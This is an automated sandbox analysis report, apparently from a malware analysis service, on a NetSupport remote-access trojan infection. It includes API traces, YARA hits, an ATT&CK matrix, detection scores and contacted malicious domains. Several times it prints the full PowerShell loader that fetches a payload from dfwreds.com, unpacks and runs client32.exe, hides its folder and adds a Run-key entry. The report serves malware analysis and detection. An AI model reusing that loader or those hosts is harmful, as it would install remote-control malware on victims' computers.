Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_11162BB7
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1116EC49 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_1116EC49
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	6_2_110934A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	6_2_11031780
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_11162BB7
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1116EC49 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_1116EC49

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 38.180.60.246 80

Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_110F4990 GetTickCount,LogonUserA,GetTickCount,GetLastError,

5_2_110F4990

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

5_2_11113190

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\KYED2\client32.exe "C:\Users\user\AppData\Roaming\KYED2\client32.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ex bypass -nop -c $qjxnjmm='http://dfwreds.com/data.php?6961';$htwcgh=(new-object system.net.webclient).downloadstring($qjxnjmm);$geno=[system.convert]::frombase64string($htwcgh);$asd = get-random -minimum -10 -maximum 37; $yzuqfnvbnac=[system.environment]::getfolderpath('applicationdata')+'\kyed'+$asd;if (!(test-path $yzuqfnvbnac -pathtype container)) { new-item -path $yzuqfnvbnac -itemtype directory };$p=join-path $yzuqfnvbnac 'tttt.zip';[system.io.file]::writeallbytes($p,$geno);try { add-type -a system.io.compression.filesystem;[system.io.compression.zipfile]::extracttodirectory($p,$yzuqfnvbnac)} catch { write-host 'failed: ' + $_; exit};$cv=join-path $yzuqfnvbnac 'client32.exe';if (test-path $cv -pathtype leaf) { start-process -filepath $cv} else {write-host 'no exe.'};$fd=get-item $yzuqfnvbnac -force; $fd.attributes='hidden';$s=$yzuqfnvbnac+'\client32.exe';$k='hkcu:\software\microsoft\windows\currentversion\run';$v='kotlg';$ds='string';new-itemproperty -path $k -name $v -value $s -propertytype $ds;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ex bypass -nop -c $qjxnjmm='http://dfwreds.com/data.php?6961';$htwcgh=(new-object system.net.webclient).downloadstring($qjxnjmm);$geno=[system.convert]::frombase64string($htwcgh);$asd = get-random -minimum -10 -maximum 37; $yzuqfnvbnac=[system.environment]::getfolderpath('applicationdata')+'\kyed'+$asd;if (!(test-path $yzuqfnvbnac -pathtype container)) { new-item -path $yzuqfnvbnac -itemtype directory };$p=join-path $yzuqfnvbnac 'tttt.zip';[system.io.file]::writeallbytes($p,$geno);try { add-type -a system.io.compression.filesystem;[system.io.compression.zipfile]::extracttodirectory($p,$yzuqfnvbnac)} catch { write-host 'failed: ' + $_; exit};$cv=join-path $yzuqfnvbnac 'client32.exe';if (test-path $cv -pathtype leaf) { start-process -filepath $cv} else {write-host 'no exe.'};$fd=get-item $yzuqfnvbnac -force; $fd.attributes='hidden';$s=$yzuqfnvbnac+'\client32.exe';$k='hkcu:\software\microsoft\windows\currentversion\run';$v='kotlg';$ds='string';new-itemproperty -path $k -name $v -value $s -propertytype $ds;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1109E5B0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

5_2_1109E5B0

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1109ED30 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

5_2_1109ED30

Source: client32.exe	Binary or memory string: Shell_TrayWnd
Source: client32.exe	Binary or memory string: Progman

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	5_2_11174898
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11174B29
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	5_2_11174BCC
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoA,	5_2_1116C24E
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	5_2_11174796
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_111746A1
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	5_2_1117483D
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11174B90
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	5_2_11174A69
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	5_2_6EF21EB8
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	5_2_6EF21E5D
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	5_2_6EF20F39
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	6_2_11174BCC
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoA,	6_2_1116C24E
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	6_2_11174796
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_111746A1
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	6_2_1117483D
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	6_2_11174898
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11174B29
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11174B90
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	6_2_11174A69

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_110F37A0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

5_2_110F37A0

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11134830 GetLocalTime,LoadLibraryA,GetCurrentProcess,GetProcAddress,GetProcAddress,GetProcessHandleCount,SetLastError,GetProcAddress,GetProcAddress,SetLastError,SetLastError,GetProcAddress,K32GetProcessMemoryInfo,SetLastError,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,

5_2_11134830

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11147160 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetUserNameW,GetTickCount,GetTickCount,GetTickCount,FreeLibrary,

5_2_11147160

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1117594C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,SetOaNoCache,

5_2_1117594C

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11145C70 wsprintfA,GetVersionExA,RegOpenKeyExA,_memset,_strncpy,RegCloseKey,

5_2_11145C70

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11070430 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	5_2_11070430
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_6EEFA980 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,InitializeCriticalSection,getsockname,LeaveCriticalSection,GetTickCount,InterlockedExchange,	5_2_6EEFA980
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11070430 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	6_2_11070430

Source: Yara match	File source: 9.2.client32.exe.73a90000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.73a90000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.73a90000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.167c18e9140.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.167c18d28b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.6f060000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.6f060000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.6f060000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.167c18f33a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.6eef0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.2335929437.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2340113804.00000167C1A18000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2435001152.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3340023853.0000000003412000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3339056947.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2518592701.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2340113804.00000167C18E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2435778429.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2435714485.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2340113804.00000167C18C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2515088601.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2340113804.00000167C18F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2517263762.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2433476038.0000000000762000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2340113804.00000167C1621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2518663266.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	12 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	12 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	1 DLL Side-Loading	2 Valid Accounts	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	2 Valid Accounts	21 Access Token Manipulation	11 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 DLL Side-Loading	NTDS	34 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Service Execution	1 Registry Run Keys / Startup Folder	113 Process Injection	1 Masquerading	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	113 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	13%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL	5%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL	6%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL	6%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\client32.exe	26%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\user\AppData\Roaming\KYED2\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\new_chrome_proxy.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe	24%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/layout/force.js	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://github.com/apache/echarts/issues/14266	0%	Avira URL Cloud	safe
https://github.com/apache/incubator-echarts/issues/11369	0%	Avira URL Cloud	safe
https://jsbench.me/2vkpcekkvw/1)	0%	Avira URL Cloud	safe
http://geo.netsupportsoftware.com/location/loca.asp	0%	Avira URL Cloud	safe
https://jsperf.com/try-catch-performance-overhead	0%	Avira URL Cloud	safe
http://0.30000000000000004.com/	0%	Avira URL Cloud	safe
http://dfwreds.com/data.php?6961	100%	Avira URL Cloud	malware
http://luxurycaborental.com/cdn-vs/33per.php?8980	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/b516d77fb8566b576088e73410437494717ada26/src/time/scale.js	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
https://github.com/apache/incubator-echarts/issues/12229	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/variableasCompositeOperati	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/Events/mousewheel)	0%	Avira URL Cloud	safe
https://momentjs.com/	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/globalsCompositeOperation	0%	Avira URL Cloud	safe
https://github.com/d3/d3-hierarchy/blob/4c1f038f2725d6eae2e49b61d01456400694bac4/src/tree.js	0%	Avira URL Cloud	safe
https://echarts.apache.org/examples/en/editor.html?c=custom-gantt-flight	0%	Avira URL Cloud	safe
http://94.158.245.103/fakeurl.htm	0%	Avira URL Cloud	safe
https://graphics.ethz.ch/teaching/scivis_common/Literature/squarifiedTreeMaps.pdf	0%	Avira URL Cloud	safe
https://github.com/ecomfe/zrender/blob/master/LICENSE.txt	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/layout/treemap.js	0%	Avira URL Cloud	safe
https://github.com/d3/d3/blob/9cc9a875e636a1dcf36cc1e07bdf77e1ad6e2c74/src/arrays/quantile.js	0%	Avira URL Cloud	safe
https://tc39.github.io/ecma262/#sec-daylight-saving-time-adjustment).	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
luxurycaborental.com	38.180.60.246	true	true	unknown
geo.netsupportsoftware.com	104.26.1.231	true	false	unknown
dfwreds.com	23.227.193.59	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false	Avira URL Cloud: safe	unknown
http://luxurycaborental.com/cdn-vs/33per.php?8980	true	Avira URL Cloud: safe	unknown
http://dfwreds.com/data.php?6961	true	Avira URL Cloud: malware	unknown
http://94.158.245.103/fakeurl.htm	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
